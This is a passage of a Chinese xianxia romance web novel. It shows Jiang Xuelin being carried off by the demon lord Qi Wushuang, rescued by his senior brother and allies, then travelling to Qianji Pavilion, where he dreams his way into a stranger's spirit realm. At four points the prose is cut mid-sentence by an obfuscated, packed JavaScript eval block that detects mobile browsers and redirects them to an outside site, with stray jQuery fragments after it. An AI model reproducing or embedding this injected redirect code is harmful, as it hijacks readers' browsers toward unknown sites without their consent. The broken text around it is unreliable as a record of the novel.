“不过是一个未婚夫的名头。”戚无霜抬手撩起江雪粼鬓边的发,轻轻摩挲着他右眼下的小痣,既然已经做出决定,当即便说:“我要带你回——”
回去哪里戚无霜却没有继续再说,淡漠的脸上罕见的出现别的表情,眉心折起,深思着。
而后他侧耳仔细听着洞府之外风雪中的声音,低声道一句“麻烦”。
“该离开了。”戚无霜站起身,看一眼方才被自己顺手放在一旁的鱼,低头对坐在暖玉床上的江雪粼问,“吃好了吗,皎皎?”
江雪粼没想到他会突然开口叫自己的小字,被他一声叫的脑袋都变得空白了,听见问话讷讷点头。
而后他还没来得及说什么,朱雀羽衣就被戚无霜穿到他身上,其他法器全被戚无霜收起来。
再之后,江雪粼被拦腰抱起,一个闪神,两人就不在洞府之中了。
迎着风雪,身上套着朱雀羽衣的江雪粼没有感受到有多冷,只是戚无霜到底要带自己去哪里?
这个糟糕的家伙。
江雪粼紧紧抓着戚无霜的衣襟,避免自己被甩出去,这种时候他居然还有心思去想其他的。
只是思前想后也想不明白,情缘线绑定其他人也不是他的意思,到底为什么都想和他结成道侣?
镜无漪就算了,两人好歹认识,对方也总喜欢开玩笑,想看自己因为这样略显无理的要求露出诧异的表情,是以镜无漪的恶趣味能做出来的事情。
但戚无霜又是怎么回事,江雪粼可不觉得自己有什么人见人爱的特异体质。
就在他胡思乱想的时候,还抱着他腾云驾雾前进着的戚无霜兀的停下。
江雪粼抬眼看去,只见前不久才见过的明迦昙站在前面拦住去路。
他对着戚无霜行了个佛礼,“这位道友,还请放下江少谷主,莫要再向前。”
戚无霜横眉冷对,轻嗤一声,“滚。”
明迦昙似是无奈,他摇着头,道了声得罪,而后便念起佛法。
古旧的木鱼敲击声并不洪亮,但每一下都带着金属般的铿锵震颤,直击神魂。
虚空中显现一只大手,泛着金光,带着无法言说的威压,就那样拍向戚无霜。
戚无霜也冷哼一声,抬手抵挡,两道完全不同的灵力碰撞,发出轰隆一声巨响,也叫周遭跟着一起地动山摇起来。
两人二话不说地打起来了!
江雪粼无话可说,他被戚无霜抱着跳来跳去,头有些晕了,只能生无可念地攀着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151091|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对方的肩,不让自己被甩出去。
师兄,我想念你。
江雪粼欲哭无泪,早知道修炼的时候就不偷懒了,也不至于现下这两个人斗法他被夹在中间难受。
不知道是不是他心里的想法被人听见了,只听一声怒喝在空中炸开,裴星垂御剑而来。
随后一簇灵火自天而降,仿佛有生命般朝着戚无霜袭来,融了他凝出来的冰。
江雪粼眼睛一亮,连头也不觉得晕了,连忙挥手呼喊,“师兄!”
裴星垂眼尖,自然也看见了他现在的样子,只是头发衣衫凌乱了些,身上没有伤口,没遭受什么非人的折磨,好歹叫一直提心吊胆的裴星垂勉强松口气。
只是江雪粼现在还被戚无霜搂在怀里,也没办法确认到底有没有受伤。
他心中一阵自责,自己明明早就知道那个小孩有问题,怎么还不陪着阿粼一起呢?
镜无漪这个没用的废物,说是保护皎皎,连人被神不知鬼不觉带走了也不知道。
没用。
随着裴星垂的加入,焦灼的局势瞬间发生变化。
戚无霜的左臂如铁箍般紧紧揽住江雪粼,将人固定在自己身畔。
而后他垂眸,手中骨扇唰地展开半弧,扇锋所指,天地色变。
裴星垂裹挟着赤红灵火的剑直指戚无霜的要害,灼热剑气撕裂长空,直劈而来。
江雪粼甚至能感受到周遭空气被席卷灼烧,只剩下刺鼻的焦味。
但戚无霜只是手腕微转,骨扇在空中轻轻一划,那磅礴的剑意便如同撞上无形的冰山,层层冻结。
他的身形不曾晃动半分,甚至还有心思偏头,对着江雪粼说出在场所有人都能听清楚的挑衅话语,“你的未婚夫,好弱。”
裴星垂被气笑了。
他的攻击也愈发凌厉,明迦昙一脸悲悯,沉重的木鱼声越来越快,佛经梵语扰人思绪,戚无霜身形微顿,随即飞速后掠,躲开破空而来的长鞭。
镜无漪趁着戚无霜移动轨迹将尽未尽的刹那,刁钻至极地袭向江雪粼,他在逼着戚无霜回护,创造破绽。
戚无霜揽在江雪粼身侧的手臂倏然收紧,将人更贴近他冰凉的怀抱,同时那柄骨扇向下随意一拂,将周遭水汽冻结,而后粉碎。
战况越发焦灼,所有人不约而同地没有伤到江雪粼,但此时他也被这些动静弄的头疼。
戚无霜到底想做什么??
他几次三番想开口叫几人别打了,但根本说不出口,也没人听。
江雪粼:……
这样打下去不是办法,戚无霜深刻意识到。
即使他有大乘期修为,但面对三个元婴巅峰,也讨不来好。
更何况,他对于江雪粼的情况再清楚不过,若是再这样打下去,即使被他牢牢护住,他认定的未来伴侣也一定会受伤。
不过片刻他就做出决定,侧头在怀中人的耳朵边落下一个轻吻,他满意地感受着江雪粼身上属于自己的烙印,风将他的声音搅动的模糊不清,“皎皎,我会再找到你。”
之后,他松手将江雪粼往念着佛经的明迦昙所在方向一推。
看着瞬间收手朝着江雪粼而去的裴星垂和镜无漪,他眯着眼消失在云雾之中。
15.第 15 章
失重感不断传来,江雪粼没料到戚无霜会突然松手,脑子里一片空白,然后手忙脚乱掐诀御剑。
“渡雪,剑来!”
本命剑与剑主神魂相合,灵随念动,应召而来。
风如同水波般荡开,以江雪粼为中心漾开一道道涟漪,云海被裁成两半,飞剑清鸣作响。
渡雪剑载着江雪粼俯冲而下,只是剑主灵力因突发//情况显得并不稳固,渡雪剑行至半道便有些歪斜。
江雪粼壁着眼睛砸下来,却落入一个陌生的带着檀香的怀抱。
他连忙睁开眼,佛子低头敛眉,额心莲纹若隐若现,“江小谷主,可有不适?”
“没,没有。”江雪粼磕巴了一下,不敢去看明迦昙的眼睛,总觉得那片金色会像太阳般将自己融化。
对方与自己而言到底是个有些陌生的人,江雪粼连忙从他怀中退出来,一脸歉意,“得罪了。”
怀中软香远去,明迦昙手中的念珠拨动的更快了,他的指尖难以自抑地轻颤,指节被捏的发白,面上却不露声色,“无碍。”
两人相对无言,江雪粼觉得这样有些难以言说的尴尬,捏捏小指,道一声谢,“多谢佛子出手相助。”
明迦昙依旧低眉敛目,语气温和,“无需道谢,在下只是受裴首席所托。”
对了,师兄!
江雪粼脑子变得清醒,师兄受伤了。
“阿粼!”裴星御剑垂落在江雪粼身边,从储物戒中拿出刻录着小型阵法的披风给他系好,上上下下不住打量着人,良久才舒出一口气,“无事就好。”
江雪粼眼中泪涟涟,他摸上裴星垂的脸,“师兄,你受伤了。”
他也把人翻来覆去地看,素来清风朗月的四象谷大师兄现在狼狈无比,身上伤口大大小小,脸上也增添一道伤。
戚无霜一直在针对江雪粼的未婚夫。
裴星垂刚刚灌了几瓶伤药,紊乱的内息平复,外伤要好的慢些,他对上江雪粼的眼,有些懊恼,吓到阿粼了,该等伤口消下去再过来的。
可是他心不安,总要见到人,拥抱住,才能安下心。
这次是他们有三人紧逼,那魔头还护着阿粼。
若非如此,也不知道放开束缚打起来,他们到底能不能在对方手里讨到好。
江雪粼看着狼狈的三人,心中恨恨。
戚无霜这个坏东西!
“师兄,我好冷。”乍一见亲近的师兄,江雪粼就不自觉露出委屈的姿态,手紧着披风靠在人怀里,眼中水光盈盈,确实受了很大委屈。
再去瞧人,四象谷的少谷主何时这样狼狈过?
头发散下来,被带走的急,首饰宝器全留在了房间里,没了那些装点的珠宝,面色也更显得苍白,眉间的病气也又重几分。
“外面天气实在恶劣,先回去罢。”镜无漪心中的自责不比裴星垂少,江雪粼是在他的眼皮子底下被带走的,他居然没有任何察觉。
看着江雪粼没有血色的脸,镜无漪恨不得自己能以身代之,代替他受苦受难。
但对上那双绿意涟涟的眼,却什么话也说不出口了,被裴星垂挤兑也只是沉默受着。
若不是那掳走江雪粼的人还在蓬莱境内,那情缘线也能同其他姻缘线一般确定位置——
弱,太弱了。
若是自己更强大,修为更高,是不是就不会再有人能从自己面前轻易带走自己在意的人?
渴求的种子在心中扎根,驱使着他做出选择。
看着裴星垂带着江雪粼御剑离去的背影,镜无漪不再继续想下去,跟着人一同回了岛主府。
四象谷的少主无故在蓬莱境内失踪,岛上出动了不少人搜寻。
江雪粼平安归来之后,先去和沈沧海道了平安。
明明是一岛之主,却哭的稀里哗啦乱七八糟,等抹掉泪,他才拍拍江雪粼的肩,“贤侄,若是你有个三长两短,我都不知道该如何和你爹娘交代。”
“岛上防御结界稳固,那人也并未离开蓬莱境内,只是习得的隐匿术法特殊,才未曾惊动岛上警报。”
“当真是稀奇,也不知道他到底修习了谁留下的秘籍,此等不会触动任何结界和阵法的术法,我闻所未闻。”
“我这岛主府,还是太松散了。”他无奈叹一声,把这一切错处归咎在自己身上。
“若是我所料不错,此人便是近来名声大噪的魔尊。”在江雪粼把自己的遭遇讲述之后,沈沧海抚掌叹息着摇头,“临近魔域的芜水城也有不少修士,不久之前传回过有关新魔尊的留影石。”
“他常以白发白瞳露面,所用术法并非魔族术法,而是修真界正统修习之术。”
“此子,深不可测啊。”
江雪粼无言,他并不觉得在自己面前的戚无霜有传闻中的那样可怖,只是很冷,像捂不化的雪。
还总说些奇怪的话。
而且魔族……
江雪粼垂下的眼睫轻轻颤动,非我族类其心必异。
和这样一个不安定分子绑定了命线,即使从现在看来,命线不会对江雪粼产生威胁,但不怕一万就怕万一,若是产生差错,谁知道会不会出什么问题。
这位新魔尊从未主动来过修真界,此次却为了江雪粼大动干戈,虽然很快离开,但阴影依旧笼罩在蓬莱之上。
沈沧海看着江雪粼就像在看自己最喜爱的翡翠白玉大白菜,被不知道从哪里出来的牛鬼蛇神纠缠着。
他摇头叹息,各种叹息。
“本想让你们多在蓬莱停留几日,但出了这件事我也不好再留你们,此去千机阁,我会加派人手护送你们。”沈沧海抬手,他看出了江雪粼的欲言又止,在这位贤侄肩上轻拍两下,“如今七条命线已确定三人,剩下的也不知道会不会是更糟糕的存在,阿粼,也让我安心些吧。”
江雪粼想了想,还是点头应下了。
他对于命线的另一端缠绕着谁虽然在意,但他一向是兵来将挡水来土掩。
又或许是突然出现的戚无霜并未让他感受到恶意。
即使说着要杀了他之后话题也不知道为什么会转变成要带江雪粼离开,然后两人结为道侣。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156159|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在四象谷无忧无虑长大的江小少主并不能理解被狼群养大的人的思绪和行为。
他现在也只想快点去千机阁找到解除命线的办法。
虽说这命线对江雪粼没什么影响,甚至有益于他,但是他都已经能长命百岁了,真的不需要更多续命的东西了。
主要是要是再来一次绑架,他可受不了。
自这位新魔尊暴露踪迹以来,甚少出现在修真界,这次带来的麻烦对于他以雷霆手段镇压魔族的可怖传闻而言,只是毛毛细雨。
镜无漪不知道去了哪里,明迦昙也在看了江雪粼一眼之后告辞离开,沈沧海看着还有些狼狈的江雪粼和裴星垂,无奈摇头。
“两位贤侄还是快些去歇息吧,老夫还要去吩咐下面的人,提高警戒。”
江雪粼和裴星垂回到休息的院中,几个童子瞧见他平安归来,都红了眼。
谷中人多爱戴他们的少谷主,身为江雪粼的侍童,他们在谷中甚少遇到什么麻烦事,名义上是保护江雪粼,但出手的时候一只手都数的过来。
第二次了,这是在他们眼皮子底下第二次出事了。
以方风为首的侍童们看着江雪粼,眼睛通红,里面饱含愧疚与心疼。
江雪粼素来心软,更何况这件事和他们没有关系,“好了,我这不是没事吗?”
他在童子们面前转了个圈,然后走近些拍拍他们的肩,“别太自责了,只是那人修习的功法太过特殊,就连岛主府上的阵法都未触动,你们与他差了好几个境界,不怪你们没发觉异样。”
裴星垂一直跟在江雪粼身后,见着几个童子欲言又止的神情,半天说不出一句话,心中本就不耐,也只能揉揉眉心,皱着眉将人挥退,“你们都先去出去,这里有我看着。”
见人不动,裴星垂把江雪粼肩膀一揽,垂眸又道:“既然已经认识到不足,那就好好修炼。”
童子们退出去,江雪粼才顺着裴星垂的力道回了房间。
“师兄,快让我看看你身上的伤。”江雪粼眼睛还有些发红,裴星垂泛起蜜意,他抓着小师弟放在自己脸上的手,“我没事,那人……他没有用全力,留手了。”
江雪粼不听,去扒他的衣服,裴星垂手忙脚乱地想要遮掩,但还是被看清了身上的伤。
说着戚无霜留手了,但即使用了药,那些未消散好全的伤也触目惊心。
裴星垂看着江雪粼那双绿眼睛蒙着水雾,只能又将人搂在怀里,抹掉眼角溢出的泪,“皎皎,别哭。”
江雪粼也不是什么强悍的人,即使从小就被谷中人护着,也因为体弱,没有养成跋扈的性子,这会又瞧着裴星垂身上的伤,眼睛一眨,泪又要落下来。
裴星垂无奈,把他搂紧,轻拍着他的肩,听着阿粼的哭声,触碰着阿粼的泪水,心也疼得厉害,只得宽慰人,“这不是你的错,不要自责。”
“阿粼,是我,是我一意孤行和你绑定命线,才导致后面发生的一切。”
裴星垂将江雪粼从自己怀里挖起来,捧住脸,亲昵地贴近,“若是要怪,就让他们来怪我好了。”
16.第 16 章
突然出现的魔尊,打破了江雪粼一行人的计划。
裴星垂怀抱累的睡过去的江雪粼,将人放回床上,纠结着闭上眼给人重新换了里衣,把人盖的严严实实,自己才在床边坐下,撑着头守着人,也不敢再去其他地方了。
被高境界压制的感觉还萦绕在身,裴星垂的目光一直落在江雪粼身上。
那脸苍白,清丽。
好似一株缺水的玉髓兰。
是他没有保护好皎皎,也是他当初一意孤行,将命线绑定,才招致来这样的灾祸,是他的错。
裴星垂有些颓唐地弯下//身,贴着床 头枕在手上看着他的皎皎。
可是他不愿。
百年不过弹指间,一想到百年之后,他可能就再也无法见到江雪粼,就心如刀绞。
这些年修为长进极慢,很大一部分原因是他不愿意闭关参悟和突破瓶颈,一闭关就去三五年,甚至更久。
见不到江皎皎,他的相思之苦,又该和解?
房间里的光线有些昏暗,在潮浪翻涌中,裴星垂闭着眼,脑海中浮现和江雪粼这么多年相处的画面。
皎皎。皎皎。皎皎。皎皎。皎皎。
皎皎……
-
第二日一早,江雪粼被屋外的鸟叫声惊醒,动了动手,却感受到被人握住。
他睁开眼,对上一双有些红意的眼,裴星垂见他醒来,笑着摸摸他的脸,“醒了。有没有哪里不舒服的?”
江雪粼坐起身,柔顺的头发散落下来,裴星垂自然而然站起身为他挽发,用一根桃木簪固定住,露出清纯漂亮的眉眼来。
“师兄,我想喝水。”江雪粼的嗓子有些干,眼睛也干涩,那双美的动人心魄的眼睛也有些发红。
好在昨夜哭过之后,裴星垂用沾了热水的巾帕为他擦过眼睛,没有让眼睛变的红肿。
裴星垂一翻手,一个青玉瓷杯就落入掌心,里面装了些温水,江雪粼喝过之后才觉得干渴感减少许多。
人醒了,裴星垂便出门去唤来童子给江雪粼打扮穿衣,那些首饰一一戴上,法衣披上,法器也重新装回去,再出门,整个人都瞧着明艳许多。
江雪粼除了觉得身子还有些发软,没有其他什么异样。
他收拾妥当之后就被裴星垂一路带着要去水厅用膳。
沈沧海早已经等候在那里,意外的,昨日回来之后就一直没见踪影的镜无漪也在。
他今日穿着一身玄色劲装,头发梳成高马尾,嘴里叼着根青草,仰靠在檀木椅上,整个人慵懒肆意,倒显露出些意气风发来。
“阿粼!”镜无漪一见到人就腾得坐直身笑眯眯和人打招呼,每每遇到这人厚着脸皮和江雪粼搭讪的时候,裴星垂总觉得他真的很有辱蛟龙的名声。
他或许不是蛟龙,而是一只摇尾巴的狗。
察觉到他不友善的目光,镜无漪眉头一挑,说出的话倒像是他才是这府邸里正儿八经的主人家了,“裴师兄也在啊,坐吧,别客气。”
“不劳烦殿下费心,裴某比不上殿下在这里如鱼得水,却也是知礼数的,不会像殿下这般——”不把主人家放在眼中。
他未尽的话没说出口,但暗藏讥讽的眼神叫人心中恼火。
镜无漪嗤笑,他看向江雪粼脸上又带着笑,“随你巧舌如簧好了,少谷主,来我这里坐吧,让我给你布菜盛汤,也算为在我眼皮子底下让你被人带走而赔罪。”
裴星垂一把揽过江雪粼不让他过去,发出一道似嘲讽的语气词:“哈。”
镜无漪看过来,火冒三丈,“裴师兄如此发声,是有何高见?”
裴星垂摇头,面无表情,“不敢。”
镜无漪对着江雪粼挤眉弄眼,“更何况少谷主还没说什么,裴星垂,你急着出什么头。”
他将话头又抛出去,这下落在江雪粼头上了。
江雪粼身上倦意还浓,整个人都是飘忽的,不想说话。
他想了想,还是应声:“殿下说的对。”
裴星垂无奈看向他,镜无漪也露出得意的表情来。
沈沧海意味深长地看完四象谷首席大师兄和妖域少主的短暂交锋,见着气氛逐渐转向冷僵,他笑呵呵的招手呼唤江雪粼,“皎皎,来伯伯这里。”
江雪粼暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170879|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暗松一口气,走到他身边款款落座。
他完全不懂这两人到底在为什么吵,但也隐约能察觉到雄性之间的针锋相对。
虽然江雪粼并不知晓,若不是有他这个平衡点在,裴星垂和镜无漪绝无可能这样口头上你讽我刺,而是不要命地把对方往死里打。
桌上摆着用火晶温着的灵食,灵米熬的粥香气扑鼻,养了三冬的冰心萝片成片,雕成花,中间点缀一些月桂蕊,撒上香粉,清爽可口。
还有热气腾腾香气扑鼻的雪霞羹,香糯可口的空心银薯球,金黄酥脆的金粿子……
虽说修真之人不拘小节,但沈沧海家里富贵,他踏上修仙之路后也有些刻在骨子里规矩,譬如食不言。
桌上一时间只有调羹触碰碗碟的轻响,好在除了最开始的插曲,这顿饭吃的还算宾主尽欢。
江雪粼喜欢甜软的银薯球,央着沈沧海又叫后厨做了些装上,离开蓬莱也能吃。
离开之前,沈沧海拉着江雪粼说话。
“好孩子,回去之后给你爹娘说说,我这一切安好,有机会再一起聚聚。”他拍拍江雪粼的肩,而后,把他往裴星垂所在的方向轻推,“去吧,和你师兄一起,路上保重。”
“若遇危险,将我这枚玉打碎,伯伯我便会带人来救你们。”他看着江雪粼,沉默片刻,拿出一枚玉佩来。
那枚玉佩呈圆形,中心刻着象征蓬莱势力的图案,沈沧海语气带着些微怅惘,“里面有我注入的精血,只要碎了我就能感受到。”
“伯伯,这太贵重了。”江雪粼想推,却被沈沧海虎着脸拦住,“这就是给你的,若是你不要,我就摔了。”
“不不不,摔了多可惜。”江雪粼连忙护着,到底是长辈的一片心意,没再推辞。
海风有些大,吹动两人的衣摆。
他看着沈沧海面露怀念的目光,也知晓对方是什么意思,若是沈伯伯的孩子还在,想来也如同自己一般大了。
江雪粼握住玉佩,嘴角勾起笑,和沈沧海道别,“伯伯,回见。”
他和裴星垂还有镜无漪,在短暂的停留之后,又向着千机阁而去了。
17.第 17 章
登上灵舟,防护的阵法启动,蓬莱岛的轮廓逐渐远去。
江雪粼站在甲板上,撑着头看着外面的景象,风雪似乎小了一下
这一行好像在不知道的时候就变的格外凶险。
裴星垂和镜无漪深知如今以他们的修为,上一次是有佛子相助,若是再遇上那样的情况呢?
难敌对方,就只能眼睁睁任由其将雪粼带走吗?
没有这样的道理。
于是在灵舟上这几日,裴星垂和镜无漪都一直在修习练剑。
裴星垂还给江雪粼下了任务,让他也和自己一起修炼。
筑基期还是有些太弱了。
诚然,江雪粼的天赋很高,但天下英杰多如过江之鲫,天赋高的人不在少数,这百年间,江雪粼总不可能一直在四象谷不出门。
更何况现在还招惹上了恐怖的存在,若是自己太弱,那就太过被动。
知道师兄是为自己好,江雪粼没有怨言,每日都在运转灵力练习画符。
画符时灵力消耗平缓,恢复快,有利于江雪粼长时间练习。
他天赋高,画出来的符远高于筑基期水准。
往日里他对什么都感兴趣,爹娘师兄也不拘着他,除了剑术心法,符篆和药理他也有所涉猎。
只是兴趣使然,并不算精通。
现在倒成了很好修炼运转灵力的办法。
这两日江雪粼见到镜无漪的时间少的可怜,他一直在灵舟上为他准备的房间里,甚少出门。
裴星垂倒是经常在道场指点江雪粼的剑术。
似有什么在暗中变化,跟着江雪粼的童子们也变的很重视修炼。
这两次江雪粼在他们身边出事都叫他们心中不安定,若是再厉害些,也就不会让那魔头将自家少主带走了。
江雪粼不知道他们在想什么,快要到千机阁的地界,裴星垂总算大发慈悲放过修习的愁眉苦脸的江雪粼,放人修习了。
江雪粼趴在阁楼里的桌上,整个人都有些轻飘飘。
师兄在修习剑术的时候动了什么手脚,好累。
裴星垂从外面进来,将快要化作水的江雪粼捞起来,“坐好,桌上凉。”
江雪粼整个人都是软的,直接向后仰倒靠在裴星垂怀里,“师兄,不想动。”
他身上清浅的药草混合着桃香,很好闻的气息,整个人被裴星垂环抱,靠在宽厚的怀抱中。
裴星垂不自觉勾起笑,抱着他轻拍着,“怎么还和小时候一样喜欢撒娇。”
江雪粼不爱听这话,假装没听见,抱着人的腰不撒手,甚至拿头去撞裴星垂。
裴星垂只是笑,手上一直小心护着江雪粼不让他磕着碰着。
镜无漪总算从房间里出来了,他双手抱臂靠着雕花木红漆柱,瞧见两人你侬我侬的场面,冷呵一声,“裴首席好兴致,美人在怀,倒是我碍眼了。”
裴星垂一撩眼,语气不咸不淡,“既然知道自己碍眼,还出来在人前晃做什么?”
在别人眼前亲近总有些不自然,江雪粼从裴星垂怀里爬出去,理了理衣襟,故作正经地和镜无漪打招呼,“殿下。”
镜无漪听见他的声音,目光瞬间变得柔和,也不管裴星垂瞬间变冷的面色,挨着人就在桌边坐下了,嘴里还说着调笑的话。
“小谷主,几日不见,想我没?”
江雪粼没想到他会突然说这样亲昵的话,有些意外地看着他,没说话。
镜无漪也不气恼,撑着头语气幽幽,“我可是想你想得紧。”
“殿下。”江雪粼无奈,认定他又心血来潮开始说莫名其妙的话了,“你就别埋汰我了。”
镜无漪被他的话一噎,随即无奈笑起来,江雪粼哪哪都好,就是木头不开窍,每次都会叫人碰个软钉子。
裴星垂冷嗤一声,看了人笑话,从储物戒里拿了些蜜果出来,又偏头问江雪粼:“阿粼想尝点什么?”
江雪粼的注意力瞬间从镜无漪那里转走,“师兄,我想喝花茶。”
刚刚练完剑,倒是不怎么饿,就是有些渴了。
虽然方风准备了热茶,但是江雪粼有些馋裴星垂泡的花茶了。
“好,师兄给你弄,再吃点梨花酥。”他将东西拿出来放到江雪粼面前,连表面功夫都不愿意和镜无漪做,自然没有准备他的。
江雪粼心中暗笑师兄幼稚,还是将装糕点的碟子推过去一些,“殿下也吃。”
镜无漪听着江雪粼的话,瞥见裴星垂又黑起来的脸,应一声就乖乖吃梨花酥了。
裴星垂拿出茶具煮茶,没一会空气中就弥漫起花香。
灵舟即将越过梦月海,抵达千机阁,在江雪粼的角度,能够看见千机阁上空的虚影。
那是巨大的精密星盘形状,上面错综交互着圆形正方一类的几何符号。
星盘正中有一双闭着的眼睛,据说那是万年前创办千机阁的老祖,只有在危急存亡之际才会睁开眼睛为后辈指点迷津。
江雪粼小时候随着爹娘来过几次千机阁,不论什么时候看着这超乎常理的一幕都觉得叫人震撼。
甚至盯着那图案看久了,还会觉得目眩,好像整个人的心神都被吸引走。
“屏息凝神。”裴星垂手一伸,微凉的指尖点在江雪粼额间。
“那千机阁的镇阁之宝蕴藏天机,浩瀚无边,小谷主,可稳住些心神。”镜无漪撑着头轻笑。
凉意落在额间,将江雪粼从头晕目眩的感觉中拽出来,他揉揉眉心,接过裴星垂递过来的用灵液煮出来的热花茶,一口下去,整个人都暖和起来。
“明日灵舟就能在千机阁东方的渡口停靠,此前我就已经和千机阁大师兄有过联系,届时,应是他带人来接引我们。”
江雪粼听着,没有什么意外,毕竟不像是一宗宗主那样派头大,让柳师兄来已经算得上重视。
就是江雪粼一想起之前见过几次面的柳师兄,露出了一言难尽的表情。
柳宿眠为人不羁,明明是千机阁弟子,却一身合欢宗做派,不过好在上头有阁主压着,近些年收敛了很多。
希望这次见面,柳师兄不要捏自己的脸了。
带着这样的想法,江雪粼吃饱喝足之后就睡下歇息,只是好像又陷入暂时无法醒来的梦境之中了。
绮梦流
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176570|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光,在一片玉髓兰花海之中,一道绛紫色身影端坐其间。
江雪粼试探着向前走了两步,没感受到阻碍,便直接去到那飘渺的人影面前。
那是个极其年轻的男人,一头乌发好似黑檀,用一根玉簪挽着,只是那对眼睛,被月白色的绸缎遮盖。
男人面前摆着一个棋盘,江雪粼低头去看,棋盘的大半部分都被白雾遮掩,只能看见零星几颗棋子,局势并不分明。
江雪粼又试探着伸手在男人眼底晃了晃,没有得到任何反应,不知道是不是因为这人眼睛被遮挡,看不见了。
江雪粼想着,又轻推一下对方,还开口呼唤了几声,却还是没得到什么反应。
难不成真的是在梦里?
但是玉髓兰的香气不似那样飘渺,微风拂面,旁边的山泉也叮铃作响,都是无比真实的存在。
只是这个男人江雪粼从未见过,看着面部轮廓,是个长相优越的仙长。
江雪粼在脑海中想了很久,都没想起来自己是不是在哪里见过这个人。
也就没注意到,本来一动不动盯着棋盘的人已经抬起头,看向了他站住的位置。
意外来的如此突然,江雪粼只听见一声轻响,眼前一花,整个人就被带着倒在了花海之中。
江雪粼:?
那个宛若雕像的男人按住了江雪粼的手,头发垂落下来,冰凉的发丝贴着脸,让江雪粼有些不舒服。
江雪粼挣扎起来,把人使劲往外推,“你放开我!”
一根绳将他绑住,不紧,只是让他没办法动手动脚。
男人冰凉的指腹落在江雪粼的眼尾,那里因为生气泛着红云。
鲜活,漂亮。
“何故闯入此地?”男人抱着江雪粼,又坐回棋盘边,盯着那混沌的棋盘,随口一问。
江雪粼蹙额横眉,语调不满,“我还想问你呢,怎么会闯进我的梦里。”
男人听见这样的质问,有些怔愣,随即轻轻一笑,原来是当自己在做梦吗?
真是天真的可爱。
“你放开我!”江雪粼恨不得让师兄来把这人打一顿,动作间灵力催动,手上的命线显露,而其中一条的另一端,赫然连接在面前这个人身上。
江雪粼推拒的动作瞬间顿住,盯着出现的丝线睁大了眼睛。
很快,没有灵力的把持,命线便又隐去。
江雪粼不信邪,又催动灵力,结果依旧如此,面前这人,也是和他绑定情缘线的人。
江雪粼整个人都僵住了,这不是梦吗?
男人胸腔震动,带着笑的声音在江雪粼耳边响起,那双有着薄茧的手在江雪粼显露命线的位置细细摩挲,“我还奇怪手上的命线到底是谁不顾我的意愿便与我绑定命线,原来是一个自投罗网的小家伙?”
江雪粼听见他的话猛地一惊,心脏扑通扑通跳的飞快。
一阵天旋地转,他再睁眼,便又回到了灵舟之上的房间。
他穿着里衣躺在床上,师兄在边上打坐,房间里的安神香燃着,温和的气息安抚着他紧绷的思绪。
就好像,方才那一切真的只是一个梦。
18.第 18 章
听到呼吸频率变化,裴星垂睁眼看向江雪粼休息的方向,直到听见坐起身的响动才靠近撩起床幔。
光线被他挡了大半,江雪粼只能瞧见他宽大的轮廓。
“师兄?”江雪粼歪着头,有些不解,“你挡着我了。”
裴星垂退开一些,又瞧了瞧他的面色,没见露出什么异样,便松口气,“睡得如何,马上就能到千机阁了。”
江雪粼点点头,慢吞吞穿起衣服。
又细想自己做的那个梦,但是很奇怪的,明明梦里无比清晰的脸,现在再去想,却模糊不清,一点也记不起来了。
被裴星垂抱起来往外走的时候,江雪粼还在纠结这件事。
“师兄,我好像不小心闯到别人的灵境里去了。”
是的,灵境。
江雪粼后知后觉意识到,他在睡梦中不小心进入了别人的灵境里,还和主人打了个照面,甚至对方还是和自己绑定命线的其中之一。
灵境属于心象世界,分为虚、实、域三个阶段,修士步入化神,便能修炼自己的灵境。
与识海不同,灵境是修士在自身元神中开辟的真实内在世界,它是修士毕生所学、所悟、所行之道的终极体现。
一个修士只要灵境不灭,即便肉身被毁,也能在灵境中重塑真身。
修出灵境的修士在战斗时能将敌人强行拉入自己的灵境,在这之中,敌人会被压制修为,所有行动都会受灵境主人影响。
江雪粼不知道自己为什么会闯进去,难道是情缘线的影响吗?
又或者,那个化神修士就在千机阁之中,如今在他们附近,才导致自己不小心误入其中。
